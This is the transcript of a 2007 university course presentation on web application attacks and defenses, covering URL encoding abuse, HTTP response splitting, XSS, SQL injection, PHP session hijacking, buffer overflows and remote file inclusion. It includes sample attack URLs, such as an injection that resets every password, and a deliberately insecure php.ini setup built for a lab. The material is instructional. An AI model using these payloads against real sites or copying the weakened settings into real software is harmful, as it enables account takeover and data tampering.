Web Application Attacks Presentation
Download
Report
Transcript Web Application Attacks Presentation
Web Application Attacks
ECE 4112 Fall 2007
Group 9
Zafeer Khan & Simmon Yau
Motivation
SANS (SysAdmin, Audit, Network,
Security) Top-20 2007 Security Risks
(2007 Annual Update)
No. 1 Client side vulnerability is web browsers
No. 1 Server side vulnerability is web applications
Common forms:
PHP Remote File Include (Remote Code Execution)
SQL Injection
Cross-site Scripting (XSS)
Cross-Site Request Forgeries (CSRF)
Outline
URL Interpretation Attacks
HTTP Response Splitting – Cross Site Scripting
SQL Injection
Impersonation Attacks
Buffer Overflow
Remote Code Execution
URL Interpretation Attacks
An attacker can take advantage of the
multiple ways of encoding an URL and abuse
the interpretation of the URL. An URL may
contain special character that need special
syntax handling in order to be interpreted.
Special characters are represented using a
percentage character followed by two digits
representing the octet code of the original
character (%HEX-CODE).
URL Interpretation Attacks
HTTP Response Splitting
http://website/redirect.php?page=http://website/welcome.ht
ml
http://website/redirect.php?page =0d%0aContentType:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d
%0aContentType:%20text/html%0d%0a%0d%0a%3chtml%3eHello,
world!%3c/html%3e
Result:
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
<html>Hello, world!</html>
URL Interpretation Attacks
Cross Site Scripting
http://website/redirect.php?page=http://website/ha
cked.html
Runs a JavaScript popup asking for Credit Card
Number
URL Interpretation Attacks
SQL Injection
“login.asp”: SQLQuery = “SELECT preferences FROM
logintable WHERE userid=’” &
Request.QueryString(“userid”) & “’ AND password=’” &
Request.QueryString(“password”) & “’;”
http://target/login.asp?userid=bob%27%3b%20update%20l
ogintable%20set%20passwd
%3d%270wn3d%27%3b--%00
Result:
SELECT preferences FROM logintable WHERE userid=’bob’;
update logintable set password=’0wn3d’;
Defenses Against URL Interpretation
Attacks
There are tools to scan HTTP requests to the server for valid
URL such as URLScan from Microsoft
(http://www.microsoft.com/technet/security/tools/urlscan.mspx).
Assume all input is malicious. Create a white list that defines all
valid input to the software system based on the requirements
specifications. Input that does not match against the white list
should not be permitted to enter into the system. Test your
decoding process against malicious input.
When client input is required from web-based forms, avoid using
the “GET” method to submit data, as the method causes the form
data to be appended to the URL and is easily manipulated.
Instead, use the “POST method whenever possible.
Impersonation Attacks
An
attack where someone pretends to be someone they are
not
Ability to gain access to private account information
Large sums of money involved
Hackers and organized crime alike would be interested
PHP Session
Http is a stateless protocol
Sessions are needed to store information
Sessions are different than cookies
Example of a PHP session students will see
in the lab
http://www.simmonyau.com/session.php
Session.php
<?php
session_start();
if ($PHPSESSID) {
echo $PHPSESSID;
} else {
print('This is your first time visiting this site. A session has
been created to track your information.');
session_register('PHPSESSID');
$PHPSESSID=rand();
}
?>
Poorly Coded PHP Session Management
Poorly coded PHP sessions can lead up to
impersonation attacks.
Although these kinds of attacks are unlikely
to happen unless the web developer was an
idiot, let’s look at an example.
http://www.simmonyau.com/badsession.php
Badsession.php
Badsession.php (cont’d)
Session Hijacking
It’s also possible for a hacker to pretend to be
a legit organization to trick you into giving
them your account information.
A malicious user could for example get a
false certificate and place it on their website
impersonating an organization or pretending
to be a real organization.
Session Hijacking Prevention
As a web developer, be sure to use the safest
ways in coding. Sometimes the default
settings may be the most secure.
For this lab, the following changes were
made from the default settings just to hijack
the session of the website:
1.
2.
register_globals was enabled (usually disabled
for security purposes)
session_register() was used instead of
$_SESSION['name']
Session Hijacking Prevention (cont’d)
3. php.ini changes
; Whether to use cookies.
session.use_cookies = 1
session.cookie_secure =0
; This option enables administrators to make their users invulnerable to
; attacks which involve passing session ids in URLs; defaults to 1.
session.use_only_cookies = 0
; Name of the session (used as cookie name).
session.name = PHPSESSID
register_globals=on
Session Hijacking Prevention (cont’d)
4. Protect the integrity of your session tokens/ids.
5. Do not ever use $_GET variables.
6. Do not register or input your information under
shady websites.
7. If you are logging into a “secure” website, check to
see if http changes to https.
Buffer Overflow
A buffer overflow attack can occur when a
user inputs more data in a buffer than it can
handle.
As a result, this code flows over into other
buffers and can corrupt or overwrite data in
them.
Although buffer overflows are harder for
hackers to find, it is easily exploitable by
anyone once it is found.
Buffer Overflow Prevention
Keep up to date with patches on programs.
Invalidate stack execution so extra code that
executes in the stack instead of the code can not
run.
Use good compliers because they usually catch
unsafe structures like gets(), strcpy(), etc.
Use the tool libsafe to provide secure calls to
function. (it follows frame pointers to the correct
stack frame when buffers are passed to unsafe
functions.
Remote Code Execution
An exploit where a user could run some
arbitrary code on a server.
Example: When register_globals are turned
on for php, if a webpage contained
require($somepage . “.php”);
Someone could then type in
http://www.yoursite.com/index.php?somepag
e=http://
Remote Code Execution Preventions
There’s not much you can do besides be
careful when coding your web applications.
Resources
http://searchsoftwarequality.techtarget.com/searchAppSecurity/down
loads/Hacking_Exposed_ch06.pdf, Hacking Exposed
http://capec.mitre.org, CAPEC (Common Attack Pattern
Enumeration and Classification)
http://www.sans.org/, SANS (SysAdmin, Audit, Network, Security)
Institute
http://www.securityfocus.com/infocus/1774
http://www.pcmag.com/article2/0,1759,34074,00.asp
http://www.weberdev.com/ViewArticle/Exploring-Session-Security-InPHP-Web-Applications
http://www.tizag.com/mysqlTutorial/mysqltables.php
http://phpsec.org/projects/guide/4.html
http://www.ic.unicamp.br/~stolfi/urna/buffer-oflow/
Questions?
ECE 4112 – Don’t Learn To Hack, Hack
To Learn